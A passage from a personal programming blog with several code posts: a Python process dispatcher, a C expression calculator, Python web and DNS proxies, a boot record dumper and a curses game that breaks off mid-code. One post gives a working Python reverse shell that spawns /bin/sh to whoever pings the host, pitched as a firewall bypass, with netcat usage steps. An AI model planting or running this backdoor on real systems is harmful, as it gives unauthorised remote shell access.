  case 14:
  case 15:
    return n + 55;
  }
  return '?';
}

int main(void)
{
  int c;

  while ((c = fgetc(stdin)) != EOF) {
    fputc('%', stdout);
    fputc(to_hex(c / 16), stdout);
    fputc(to_hex(c % 16), stdout);
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 27/10-2012, Article Link

Reverse Shell with ICMP Trigger

Here is a nifty way to spawn a reverse shell that I have been thinking about for a while. Basically, this script attempts to open a shell to a remote client if it receives an ICMP (ping) package from it. This can be used to bypass firewalls that drop all inbound TCP connections, but let ICMP packages through.

Take a look:

#!/usr/bin/python

import socket
import struct
import os

def exec_shell(sock):
    os.setgroups([])
    os.setgid(99) # Nogroup
    os.setuid(99) # Nobody
    os.dup2(sock.fileno(), 0)
    os.dup2(sock.fileno(), 1)
    os.dup2(sock.fileno(), 2)
    os.execve("/bin/sh", ["/bin/sh", "-i"], {})

def icmp_listen(connect_port):
    icmp_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, \
        socket.getprotobyname("icmp"))
    icmp_sock.bind(('', 1))

    while True:
        packet = icmp_sock.recv(1024)
        header = struct.unpack("!LLL4s4sBBHHH", packet[:28])
        data = packet[28:]

        print "Connecting to", socket.inet_ntoa(header[3]),
        try:
            shell_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            shell_sock.connect((socket.inet_ntoa(header[3]), connect_port))
            print "OK!"
        except Exception, e:
            print "Failed:", e
            continue

        pid = os.fork()
        if (pid == 0):
            os.setsid()
            pid = os.fork()
            if (pid == 0):
                exec_shell(shell_sock)
            else:
                os._exit(0)

if __name__ == "__main__":
    icmp_listen(1337)
          


To use it, execute this script as root on the target host that will supply the shell. Then, on a remote client machine, use netcat to open a listening TCP port like so: "nc -l -p 1337". Finally, from the same remote client, ping the target host.

Topic: Scripts and Code, by Kjetil @ 01/09-2012, Article Link

Process Dispatcher

This is a script I hacked together in Python to be able to run several processes in parallel easily. You specify a program to run as the argument to the script itself, then the script presents a shell where you can input a "real" argument for the program previously specified. Once an argument has been entered on the shell, a sub process is started in the background, and the shell is immediately ready for a new argument. A practical usage of this is to download several files in parallel with "wget". Simply start the script with wget as the argument and enter URLs on the shell to download them. A counter in the shell prompt is used to keep track of how many sub processes are ongoing.

Enjoy:

#!/usr/bin/python

import threading
import subprocess

class Dispatcher(object):
    def __init__(self, command):
        self.command = command

    class _Executor(threading.Thread):
        def __init__(self, command, arg):
            threading.Thread.__init__(self)
            self.command = command
            self.arg = arg

        def run(self):
            null = open("/dev/null")
            subprocess.call([self.command, self.arg], stdout=null, stderr=null)
            null.close()

    def run(self):
        while True:
            arg = raw_input(str(threading.active_count() - 1) + ">")
            if arg == 'quit':
                break
            if len(arg) > 0:
                thread = self._Executor(self.command, arg)
                thread.start()
            else:
                for thread in threading.enumerate():
                    if thread.name != "MainThread":
                        print thread.arg

if __name__ == "__main__":
    import sys
    if len(sys.argv) > 1:
        d = Dispatcher(sys.argv[1])
        d.run()
        sys.exit(0)
    else:
        print "Usage: %s <executable command>" % (sys.argv[0])
        sys.exit(1)
          


Topic: Scripts and Code, by Kjetil @ 01/07-2012, Article Link

Simple Expression Parsing

I have been researching for other ways to parse expressions without the use of Abstract Syntax Trees (AST) or complex parser generators. In turn, also without the use of dynamic memory. I figured out a way to use an array with tokens to represent the complete expression. And then in order to reach the result, reduce token by token, until only the result itself remains.

Below is a simple calculator program that uses this technique. It supports parenthesis and the basic operators '*', '/', '+' and '-'. The code can also be easily embedded into other programs that require simple parsing of this kind.

Check out the code:

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

#define EXPRESSION_MAX 32

typedef enum {
  TOKEN_NONE    = 0,
  TOKEN_MUL     = 1,
  TOKEN_DIV     = 2,
  TOKEN_ADD     = 3,
  TOKEN_SUB     = 4,
  TOKEN_INT     = 5,
  TOKEN_L_PAREN = 6,
  TOKEN_R_PAREN = 7,
} token_t;

typedef struct element_s {
  token_t token;
  int value;
} element_t;

static int exp_evaluate(element_t *exp, int from, int to)
{
  int i, j, left_paren, prev_val, next_val;

  /* Reduce parenthesis first... */
exp_evaluate_again:
  left_paren = -1;
  for (i = from; i <= to; i++) {
    if (exp[i].token == TOKEN_L_PAREN) {
      left_paren = i;
    } else if (exp[i].token == TOKEN_R_PAREN) {
      if (left_paren >= 0) {
        exp[left_paren].value = exp_evaluate(exp, left_paren + 1, i - 1);
        exp[left_paren].token = TOKEN_INT;
        for (j = left_paren + 1; j <= i; j++)
          exp[j].token = TOKEN_NONE;
        goto exp_evaluate_again;
      } else {
        fprintf(stderr, "Warning: Unmatched '('.\n");
      }
    }
  }

  /* ...then reduce the operators. */
  for (i = TOKEN_MUL; i <= TOKEN_SUB; i++) {
    for (j = from; j <= to; j++) {
      if (exp[j].token == i) {

        prev_val = j - 1;
        if (prev_val < from) {
          fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
          return 0;
        }
        while (exp[prev_val].token != TOKEN_INT) {
          prev_val--;
          if (prev_val < from) {
            fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
            return 0;
          }
        }

        next_val = j + 1;
        if (next_val > to) {
          fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
          return 0;
        }
        while (exp[next_val].token != TOKEN_INT) {
          next_val++;
          if (next_val > to) {
            fprintf(stderr, "Warning: Overflow due to invalid syntax.\n");
            return 0;
          }
        }

        if (i == TOKEN_MUL) {
          exp[prev_val].value *= exp[next_val].value;
        } else if (i == TOKEN_DIV) {
          if (exp[next_val].value == 0)
            exp[prev_val].value = 0; /* Division by zero. */
          else
            exp[prev_val].value /= exp[next_val].value;
        } else if (i == TOKEN_ADD) {
          exp[prev_val].value += exp[next_val].value;
        } else if (i == TOKEN_SUB) {
          exp[prev_val].value -= exp[next_val].value;
        }

        exp[prev_val].token = TOKEN_INT;
        exp[j].token        = TOKEN_NONE;
        exp[next_val].token = TOKEN_NONE;
      }
    }
  }

  return exp[from].value;
}

static int string_evaluate(const char *s)
{
  int i, n, current;
  char intbuf[8];
  element_t exp[EXPRESSION_MAX];

  for (i = 0; i < EXPRESSION_MAX; i++)
    exp[i].token = TOKEN_NONE;

  current = 0;
  for (i = 0; s[i] != '\0'; i++) {
    if (isdigit(s[i])) {
      n = 0;
      intbuf[n++] = s[i];
      while (isdigit(s[i + 1])) {
        intbuf[n++] = s[++i];
        if (n >= 8) {
          fprintf(stderr, "Warning: Number too long.\n");
          break;
        }
      }
      intbuf[n] = '\0';
      exp[current].value = atoi(intbuf);
      exp[current++].token = TOKEN_INT;
    } else if (s[i] == '(') {
      exp[current++].token = TOKEN_L_PAREN;
    } else if (s[i] == ')') {
      exp[current++].token = TOKEN_R_PAREN;
    } else if (s[i] == '*') {
      exp[current++].token = TOKEN_MUL;
    } else if (s[i] == '/') {
      exp[current++].token = TOKEN_DIV;
    } else if (s[i] == '+') {
      exp[current++].token = TOKEN_ADD;
    } else if (s[i] == '-') {
      exp[current++].token = TOKEN_SUB;
    }

    if (current >= EXPRESSION_MAX) {
      fprintf(stderr, "Warning: Maximum expressions reached.\n");
      break;
    }
  }

  return exp_evaluate(exp, 0, EXPRESSION_MAX - 1);
}

int main(int argc, char *argv[])
{
  if (argc != 2) {
    fprintf(stderr, "Usage: %s <expression>\n", argv[0]);
    return 1;
  }

  printf("%d\n", string_evaluate(argv[1]));
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 10/06-2012, Article Link

Python Web Proxy

Here is another simple proxy server written in Python, this time a regular web proxy. I tried to make it as simple as possible; using only common Python modules. This means it connects directly to a socket instead of using the more sophisticated HTTP modules and so on.

It works on most pages, but there are some "bugs" on some pages. Most notably, I have seen that the CSS stylesheets are not always transferred, meaning the layout will look strange. I have not tested it against any "rich" web-pages using AJAX and the like, so I have no idea how that will work. HTTPS does not work, since it relies on some more advanced mechanisms in the proxy, and support for the "CONNECT" request, which is not present here.

Then again, this is meant as an emergency solution and/or a way to observe the basic requirements of a web proxy server.

Enjoy:

#!/usr/bin/python

from threading import Thread
import socket
import re
import urlparse
import time

class ClientConnection(Thread):
    def __init__(self, client_socket):
        Thread.__init__(self)
        self.client_socket = client_socket

    def _extract_host(self, data):
        match = re.match("^(?:GET|POST|HEAD) (.*?) (HTTP\/[.0-9]*)", data)
        if match:
            url = urlparse.urlparse(match.group(1))
            # NOTE: Alternate port numbers not handled.
            return url.netloc
        else:
            return None

    def _try_recv(self, sock):
        try:
            return sock.recv(4096, socket.MSG_DONTWAIT)
        except:
            return None

    def run(self):
        try:
            data = self.client_socket.recv(4096)
        except:
            self.client_socket.close()
            return

        if len(data) == 0:
            self.client_socket.close()
            return

        host = self._extract_host(data)
        port = 80
        if host == None:
            self.client_socket.close()
            return

        # A hack, but it works.
        data = data.replace("HTTP/1.1", "HTTP/1.1\r\nConnection: close")

        print "Open: %s" % (host)
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.connect((host, port))
        self.server_socket.sendall(data)

        timeout = 0
        while True:
            data = self._try_recv(self.server_socket)
            if data != None:
                try:
                    self.client_socket.sendall(data)
                except:
                    break

            data = self._try_recv(self.client_socket)
            if data != None:
                try:
                    self.server_socket.sendall(data)
                except:
                    break

            if (timeout > 200):
                break
            time.sleep(0.1)
            timeout += 1

        print "Close: %s" % (host)
        self.server_socket.close()
        self.client_socket.close()

class ProxyServer(object):
    def __init__(self, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind(('', port))
        self.sock.listen(64)

    def loop(self):
        while True:
            (client_socket, client_address) = self.sock.accept()
            connection = ClientConnection(client_socket)
            connection.start()

if __name__ == "__main__":
    ps = ProxyServer(8080)
    ps.loop()
          


Topic: Scripts and Code, by Kjetil @ 28/05-2012, Article Link

Boot Record Dump

Here is a tool I wrote to dump information from boot records, the information normally stored in the first sector (boot sector) on a disk or partition. It attempts to automatically figure out if the record is a Master Boot Record (MBR) or a Volume Boot Record (VBR).

The boot record (file) can be extracted with the Unix "dd" tool, like so: 'dd bs=512 count=1 if=/dev/hda of=/tmp/br.dd'.

Here's an example of the information dumped from a MBR:

Master Boot Record (MBR)
------------------------
Serial: DCA41F6C
Partition Table:
 Boot Type   First LBA   First C:H:S    Last C:H:S    Size
   *  0x04   0x0000003f  0000:001:01 -> 0002:254:63  (23 MB)
      0x05   0x0000bc43  0003:000:01 -> 0123:254:63  (949 MB)
      0x00   0x00000000  0000:000:00 -> 0000:000:00  ---
      0x00   0x00000000  0000:000:00 -> 0000:000:00  ---
Code:
0x0000:  fa 33 c0 8e d0 bc 00 7c 8b f4 50 07 50 1f fb fc  |.3.....|..P.P...|
0x0010:  bf 00 06 b9 00 01 f2 a5 ea 1d 06 00 00 be be 07  |................|
0x0020:  b3 04 80 3c 80 74 0e 80 3c 00 75 1c 83 c6 10 fe  |...<.t..<.u.....|
0x0030:  cb 75 ef cd 18 8b 14 8b 4c 02 8b ee 83 c6 10 fe  |.u......L.......|
0x0040:  cb 74 1a 80 3c 00 74 f4 be 8b 06 ac 3c 00 74 0b  |.t..<.t.....<.t.|
0x0050:  56 bb 07 00 b4 0e cd 10 5e eb f0 eb fe bf 05 00  |V.......^.......|
0x0060:  bb 00 7c b8 01 02 57 cd 13 5f 73 0c 33 c0 cd 13  |..|...W.._s.3...|
0x0070:  4f 75 ed be a3 06 eb d3 be c2 06 bf fe 7d 81 3d  |Ou...........}.=|
0x0080:  55 aa 75 c7 8b f5 ea 00 7c 00 00 49 6e 76 61 6c  |U.u.....|..Inval|
0x0090:  69 64 20 70 61 72 74 69 74 69 6f 6e 20 74 61 62  |id partition tab|
0x00a0:  6c 65 00 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67  |le.Error loading|
0x00b0:  20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65  | operating syste|
0x00c0:  6d 00 4d 69 73 73 69 6e 67 20 6f 70 65 72 61 74  |m.Missing operat|
0x00d0:  69 6e 67 20 73 79 73 74 65 6d 00 00 00 00 00 00  |ing system......|
0x00e0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x00f0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0100:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0110:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0120:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0130:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0140:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0150:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0160:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0170:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0180:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x0190:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x01a0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
0x01b0:  00 00 00 00 00 00 00 00                          |................|
          


Here's an example of the information dumped from a VBR:

Volume Boot Record (VBR)
------------------------
Jump Code            : 0xeb 0x3c 0x90 (jmp short 0x3E)
OEM ID               : 'MSWIN4.1'
Volume Label         : 'USER       '
System ID            : 'FAT16   '
Bytes per Sector     : 512
Sectors per Cluster  : 64
Sectors per FAT      : 242
Sectors per Track    : 63
No of FATs           : 2
Reserved Sectors     : 1
Hidden Sectors       : 63
Small Sectors        : 0
Large Sectors        : 3951237
Root Entries         : 512
Heads                : 64
Current Head         : 0
Media Descriptor     : 0xF8 (Fixed Disk)
Physical Drive Number: 0x80
Signature            : 0x29
ID                   : E5165E0B
Boot Code:
0x0030:                                            33 c9  |..............3.|
0x0040:  8e d1 bc fc 7b 16 07 bd 78 00 c5 76 00 1e 56 16  |....{...x..v..V.|
0x0050:  55 bf 22 05 89 7e 00 89 4e 02 b1 0b fc f3 a4 06  |U."..~..N.......|
0x0060:  1f bd 00 7c c6 45 fe 0f 38 4e 24 7d 20 8b c1 99  |...|.E..8N$} ...|
0x0070:  e8 7e 01 83 eb 3a 66 a1 1c 7c 66 3b 07 8a 57 fc  |.~...:f..|f;..W.|
0x0080:  75 06 80 ca 02 88 56 02 80 c3 10 73 ed 33 c9 fe  |u.....V....s.3..|
0x0090:  06 d8 7d 8a 46 10 98 f7 66 16 03 46 1c 13 56 1e  |..}.F...f..F..V.|
0x00a0:  03 46 0e 13 d1 8b 76 11 60 89 46 fc 89 56 fe b8  |.F....v.`.F..V..|
0x00b0:  20 00 f7 e6 8b 5e 0b 03 c3 48 f7 f3 01 46 fc 11  | ....^...H...F..|
0x00c0:  4e fe 61 bf 00 07 e8 28 01 72 3e 38 2d 74 17 60  |N.a....(.r>8-t.`|
0x00d0:  b1 0b be d8 7d f3 a6 61 74 3d 4e 74 09 83 c7 20  |....}..at=Nt... |
0x00e0:  3b fb 72 e7 eb dd fe 0e d8 7d 7b a7 be 7f 7d ac  |;.r......}{...}.|
0x00f0:  98 03 f0 ac 98 40 74 0c 48 74 13 b4 0e bb 07 00  |.....@t.Ht......|
0x0100:  cd 10 eb ef be 82 7d eb e6 be 80 7d eb e1 cd 16  |......}....}....|
0x0110:  5e 1f 66 8f 04 cd 19 be 81 7d 8b 7d 1a 8d 45 fe  |^.f......}.}..E.|
0x0120:  8a 4e 0d f7 e1 03 46 fc 13 56 fe b1 04 e8 c2 00  |.N....F..V......|
0x0130:  72 d7 ea 00 02 70 00 52 50 06 53 6a 01 6a 10 91  |r....p.RP.Sj.j..|
0x0140:  8b 46 18 a2 26 05 96 92 33 d2 f7 f6 91 f7 f6 42  |.F..&...3......B|
0x0150:  87 ca f7 76 1a 8a f2 8a e8 c0 cc 02 0a cc b8 01  |...v............|
0x0160:  02 80 7e 02 0e 75 04 b4 42 8b f4 8a 56 24 cd 13  |..~..u..B...V$..|
0x0170:  61 61 72 0a 40 75 01 42 03 5e 0b 49 75 77 c3 03  |aar.@u.B.^.Iuw..|
0x0180:  18 01 27 0d 0a 49 6e 76 61 6c 69 64 20 73 79 73  |..'..Invalid sys|
0x0190:  74 65 6d 20 64 69 73 6b ff 0d 0a 44 69 73 6b 20  |tem disk...Disk |
0x01a0:  49 2f 4f 20 65 72 72 6f 72 ff 0d 0a 52 65 70 6c  |I/O error...Repl|
0x01b0:  61 63 65 20 74 68 65 20 64 69 73 6b 2c 20 61 6e  |ace the disk, an|
0x01c0:  64 20 74 68 65 6e 20 70 72 65 73 73 20 61 6e 79  |d then press any|
0x01d0:  20 6b 65 79 0d 0a 00 00 49 4f 20 20 20 20 20 20  | key....IO      |
0x01e0:  53 59 53 4d 53 44 4f 53 20 20 20 53 59 53 7f 01  |SYSMSDOS   SYS..|
0x01f0:  00 41 bb 00 07 60 66 6a 00 e9 3b ff 00 00        |.A...`fj..;.....|
          


Here's the code:

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <arpa/inet.h>

typedef struct partition_record_s {
  uint8_t bootable;
  uint8_t start_head;
  uint8_t start_cs_1;
  uint8_t start_cs_2;
  uint8_t type;
  uint8_t end_head;
  uint8_t end_cs_1;
  uint8_t end_cs_2;
  uint32_t start_lba;
  uint32_t no_of_sectors;
} partition_record_t;

#pragma pack(1)
typedef struct mbr_s {
  uint8_t code[440];
  uint32_t disk_signature;
  uint16_t reserved;
  partition_record_t partition[4];
  uint16_t boot_record_signature;
} mbr_t;
#pragma pack()

#pragma pack(1)
typedef struct vbr_s {
  uint8_t jump_code[3];
  char oem_id[8];
  uint16_t bytes_per_sector;
  uint8_t sectors_per_cluster;
  uint16_t reserved_sectors;
  uint8_t no_of_fats;
  uint16_t root_entries;
  uint16_t small_sectors;
  uint8_t media_descriptor;
  uint16_t sectors_per_fat;
  uint16_t sectors_per_track;
  uint16_t heads;
  uint32_t hidden_sectors;
  uint32_t large_sectors;
  uint8_t physical_drive_number;
  uint8_t current_head;
  uint8_t signature;
  uint32_t id;
  char volume_label[11];
  char system_id[8];
  uint8_t boot_code[448];
  uint16_t boot_record_signature;
} vbr_t;
#pragma pack()

static void print_string(char *s, int len)
{
  int i;
  for (i = 0; i < len; i++) {
    if (isprint(s[i]))
      fputc(s[i], stdout);
    else
      fputc('.', stdout);
  }
}

static void print_hex(uint8_t *data, int len, int offset_start)
{
  int i, col, row;
  char buffer[16];

  row = offset_start / 16;
  col = offset_start % 16;

  printf("0x%04x:  ", row * 0x10);
  i = 0;
  while (col-- > 0) {
    printf("   ");
    buffer[i++] = 0x0;
  }

  col = offset_start % 16;
  for (i = 0; i < len; i++) {
    printf("%02x ", data[i]);
    buffer[col] = data[i];
    col++;
    if (col == 16) {
      row++;
      col = 0;
      printf(" |");
      print_string(buffer, 16);
      printf("|\n");
      printf("0x%04x:  ", row * 0x10);
    }
  }

  for (i = col; i < 16; i++) {
    printf("   ");
    buffer[i] = 0x0;
  }
  printf(" |");

  if (col > 0) {
    print_string(buffer, 16);
    printf("|\n");
  } else {
    printf("\n");
  }
}

static void dump_mbr(mbr_t *mbr)
{
  int i;
  int start_cylinder, start_sector, end_cylinder, end_sector;

  printf("Serial: %08X\n", htonl(mbr->disk_signature));

  printf("Partition Table:\n");
  printf(" Boot Type   First LBA   First C:H:S    Last C:H:S    Size\n");
  for (i = 0; i < 4; i++) {
    start_sector = mbr->partition[i].start_cs_1 & 0x3F;
    start_cylinder = mbr->partition[i].start_cs_2;
    start_cylinder += (mbr->partition[i].start_cs_1 & 0xC0) << 2;

    end_sector = mbr->partition[i].end_cs_1 & 0x3F;
    end_cylinder = mbr->partition[i].end_cs_2;
    end_cylinder += (mbr->partition[i].end_cs_1 & 0xC0) << 2;

    printf("   %c  ", (mbr->partition[i].bootable == 0x80) ? '*' : ' ');
    printf("0x%02x   ", mbr->partition[i].type);
    printf("0x%08x  ", mbr->partition[i].start_lba);
    printf("%04d:%03d:%02d -> ",
      start_cylinder,
      mbr->partition[i].start_head,
      start_sector);
    printf("%04d:%03d:%02d  ",
      end_cylinder,
      mbr->partition[i].end_head,
      end_sector);

    if (mbr->partition[i].no_of_sectors == 0) {
      printf("---");
    } else {
      /* NOTE: Assumes standard sector size of 512 bytes. */
      printf("(%d MB)", mbr->partition[i].no_of_sectors / 2048);
    }

    printf("\n");
  }

  printf("Code:\n");
  print_hex(mbr->code, 440, 0x0);
}

static void dump_vbr(vbr_t *vbr)
{
  char *s;
  
  printf("Jump Code            : 0x%02x 0x%02x 0x%02x ",
    vbr->jump_code[0], vbr->jump_code[1], vbr->jump_code[2]);

  if (vbr->jump_code[0] == 0xEB) {
    printf("(jmp short 0x%02X)\n", vbr->jump_code[1] + 2);
  } else {
    printf("(?)\n");
  }

  printf("OEM ID               : '");
  print_string(vbr->oem_id, 8);
  printf("'\n");

  printf("Volume Label         : '");
  print_string(vbr->volume_label, 11);
  printf("'\n");

  printf("System ID            : '");
  print_string(vbr->system_id, 8);
  printf("'\n");

  printf("Bytes per Sector     : %d\n", vbr->bytes_per_sector);
  printf("Sectors per Cluster  : %d\n", vbr->sectors_per_cluster);
  printf("Sectors per FAT      : %d\n", vbr->sectors_per_fat);
  printf("Sectors per Track    : %d\n", vbr->sectors_per_track);
  printf("No of FATs           : %d\n", vbr->no_of_fats);
  printf("Reserved Sectors     : %d\n", vbr->reserved_sectors);
  printf("Hidden Sectors       : %d\n", vbr->hidden_sectors);
  printf("Small Sectors        : %d\n", vbr->small_sectors);
  printf("Large Sectors        : %d\n", vbr->large_sectors);
  printf("Root Entries         : %d\n", vbr->root_entries);
  printf("Heads                : %d\n", vbr->heads);
  printf("Current Head         : %d\n", vbr->current_head);

  switch (vbr->media_descriptor) {
  case 0xF0:
  case 0xF9:
  case 0xFC:
  case 0xFD:
  case 0xFE:
  case 0xFF:
    s = "Floppy Disk";
    break;
  case 0xF8:
    s = "Fixed Disk";
    break;
  default:
    s = "Unknown";
    break;
  }

  printf("Media Descriptor     : 0x%02X (%s)\n", vbr->media_descriptor, s);
  printf("Physical Drive Number: 0x%02X\n", vbr->physical_drive_number);
  printf("Signature            : 0x%02X\n", vbr->signature);
  printf("ID                   : %08X\n", htonl(vbr->id));

  printf("Boot Code:\n");
  print_hex(vbr->boot_code, 448, 0x3E);
}

static int is_printable(char *s, int len)
{
  int i;
  for (i = 0; i < len; i++) {
    if (! isprint(s[i]))
      return 0;
  }
  return 1;
}

int main(int argc, char *argv[])
{
  FILE *fh;
  int bytes;
  uint8_t sector[512];

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <boot record file>\n", argv[0]);
    return 1;
  }

  fh = fopen(argv[1], "rb");
  if (fh == NULL) {
    fprintf(stderr, "Error: Unable to open file for reading.\n");
    return 1;
  }

  bytes = fread(&sector, sizeof(uint8_t), 512, fh);
  fclose(fh);

  if (bytes < 512) {
    fprintf(stderr, "Error: File is less than 512 bytes.\n");
    return 1;
  }

  if (sector[510] != 0x55 || sector[511] != 0xAA) {
    fprintf(stderr, "Error: File is not a valid boot record.\n");
    return 1;
  }

  if (is_printable(((vbr_t *)&sector)->oem_id, 8)) {
    printf("Volume Boot Record (VBR)\n");
    printf("------------------------\n");
    dump_vbr((vbr_t *)&sector);
  } else {
    printf("Master Boot Record (MBR)\n");
    printf("------------------------\n");
    dump_mbr((mbr_t *)&sector);
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 04/03-2012, Article Link

Python DNS Proxy

Here is a DNS proxy server script written in Python. The purpose is to forward DNS requests to another (real) DNS server, and then send the replies back to the client. No mangling of the UDP datagrams are performed, the packets are simply passing through.

I have only tried to run the script on Linux, and the script will also attempt to find the script host's own DNS server in /etc/resolv.conf to use as the remote DNS server. And since it will attempt to bind on port 53, you will probably have to run the script as root.

Enjoy:

#!/usr/bin/python

from threading import Thread
import socket
import Queue
import time

class Forward(Thread):
    def __init__(self, packet, client_address, dns_ip, reply_queue):
        Thread.__init__(self)
        self.packet = packet
        self.client_address = client_address
        self.dns_ip = dns_ip
        self.dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.reply_queue = reply_queue

    def run(self):
        self.dns_sock.sendto(self.packet, (self.dns_ip, 53))
        while True:
            new_packet, address = self.dns_sock.recvfrom(512)
            if address[0] == self.dns_ip:
                self.reply_queue.put((new_packet, self.client_address))
                break

class DNSProxy(object):
    def __init__(self, listen_port, dns_ip):
        self.dns_ip = dns_ip
        self.reply_queue = Queue.Queue()
        self.server_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.server_sock.bind(("", listen_port))
        self.server_sock.setblocking(0)
        print "Using DNS server IP: %s" % (dns_ip)

    def check(self):
        # Check for incoming requests and start threads on them.
        try:
            packet, address = self.server_sock.recvfrom(512)
            if len(packet) > 0:
                print "Recevied request from:", address
                t = Forward(packet, address, self.dns_ip, self.reply_queue)
                t.start()
        except socket.error, e:
            if e[0] != 11 and e[0] != 10035:
                raise

        # Check if any threads has put a reply on the queue to send.
        try:
            packet, address = self.reply_queue.get_nowait()
            self.server_sock.sendto(packet, address)
            print "Sent reply to:", address
        except Queue.Empty:
            pass

def get_dns_server():
    fh = open("/etc/resolv.conf", "r")
    for line in fh:
        if len(line) > 11:
            if line[:11] == "nameserver ":
                return line[11:].strip()
    fh.close()

if __name__ == "__main__":
    proxy = DNSProxy(53, get_dns_server())
    while True:
        proxy.check()
        time.sleep(0.01)
          


Topic: Scripts and Code, by Kjetil @ 25/12-2011, Article Link

Old Curses Game

Here is a re-release of an old game I programmed a long time ago, called simply "cgame". It was one of my first "real" projects with C and the curses library. The code has gone through heavy re-factoring for readability, so it looks almost nothing like the original, but the game mechanics remains the same.

Here's what it looks like:

Screenshot of cgame.


The rules are simple, collect all the "money" and avoid being captured by the yellow 'M'. The idea behind the 'M' actually came from a game on the Commodore 64, called "Escape MCP", that I recalled playing as a kid. Here's what the main screen looks like:

Screenshot of Escape MCP.


Finally, the code:

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <ncurses.h>

#define GAME_ROWS 24
#define GAME_COLS 80

#define AMOUNT_OF_MONEY  20
#define AMOUNT_OF_MINES  10
#define AMOUNT_OF_CRATES 5

#define PAIR_YELLOW 1
#define PAIR_CYAN 2

typedef enum {
  DIRECTION_NONE,
  DIRECTION_LEFT,
  DIRECTION_RIGHT,
  DIRECTION_UP,
  DIRECTION_DOWN,
} direction_t;

typedef enum {
  MOVE_OK,
  MOVE_BLOCKED,
  MOVE_ON_MINE,
  MOVE_ON_MONEY,
  MOVE_ON_ENEMY,
} move_t;

typedef struct object_s {
  int y, x;
  char symbol;
  int attributes;
  int taken;
} object_t;

static object_t player;
static object_t enemy;
static object_t money[AMOUNT_OF_MONEY];
static object_t mines[AMOUNT_OF_MINES];
static object_t crates[AMOUNT_OF_CRATES];

static int money_collected;
static int steps_taken;
static int enemy_idle_count;

static void draw_object(object_t *object)
{
  if (object->attributes != 0 && has_colors())
    wattrset(stdscr, object->attributes);
  mvaddch(object->y, object->x, object->symbol);
  if (object->attributes != 0 && has_colors())
    wattrset(stdscr, A_NORMAL);
}

static void find_empty_spot(int *y, int *x)
{
  do {
    move((random() % (GAME_ROWS - 2)) + 1, (random() % (GAME_COLS - 2)) + 1);
  } while ((inch() & A_CHARTEXT) != ' ');
  getyx(stdscr, *y, *x);
}

static void init_game(void)
{
  int i;

  money_collected  = 0;
  steps_taken      = 0;
  enemy_idle_count = 0;

  srandom(time(NULL));

  player.symbol = '@';
  player.attributes = 0;
  find_empty_spot(&player.y, &player.x);
  draw_object(&player);

  enemy.symbol = 'M';
  enemy.attributes = A_BOLD | COLOR_PAIR(PAIR_YELLOW);
  find_empty_spot(&enemy.y, &enemy.x);
  draw_object(&enemy);

  for (i = 0; i < AMOUNT_OF_MONEY; i++) {
    money[i].symbol = '$';
    money[i].attributes = A_BOLD;
    money[i].taken = 0;
    find_empty_spot(&money[i].y, &money[i].x);
    draw_object(&money[i]);
  }

  for (i = 0; i < AMOUNT_OF_MINES; i++) {
    mines[i].symbol = '*';
    mines[i].attributes = COLOR_PAIR(PAIR_CYAN);
    find_empty_spot(&mines[i].y, &mines[i].x);
    draw_object(&mines[i]);
  }

  for (i = 0; i < AMOUNT_OF_CRATES; i++) {
    crates[i].symbol = '#';
    crates[i].attributes = COLOR_PAIR(PAIR_YELLOW);
    find_empty_spot(&crates[i].y, &crates[i].x);
    draw_object(&crates[i]);
  }
}

static direction_t direction_to_player(void)
{
  int y, x;

  y = enemy.y - player.y;
  x = enemy.x - player.x;

  if ((x < 0) && ((x <= (-y)) || (x >= y)) &&
     ((x <= y)                || (x >= (-y))))
    return DIRECTION_RIGHT;
  if ((x > 0) && ((x <= y) || (x >= (-y))) &&
     ((x <= (-y))          || (x >= y)))
    return DIRECTION_LEFT;
  if (y > 0)
    return DIRECTION_UP;
  if (y < 0)
    return DIRECTION_DOWN;

  return DIRECTION_NONE;
}

static direction_t random_direction(void)
{
  switch (random() % 4) {
  case 0:
    return DIRECTION_LEFT;
  case 1:
    return DIRECTION_RIGHT;
  case 2:
    return DIRECTION_UP;
  case 3:
    return DIRECTION_DOWN;
  }
  return DIRECTION_NONE;
}

static void move_object_actual(object_t *object, direction_t direction)
{
  switch (direction) {
  case DIRECTION_LEFT:
    object->x--;
    break;
  case DIRECTION_RIGHT:
    object->x++;
    break;
  case DIRECTION_UP:
    object->y--;
    break;
  case DIRECTION_DOWN:
    object->y++;
    break;
  default:
    break;
  }
}

static move_t move_object_check(object_t *object, direction_t direction)
{
  int i, hit_y, hit_x;
  char hit_object;

  switch (direction) {
  case DIRECTION_LEFT:
    hit_y = object->y;
    hit_x = object->x - 1;
    break;
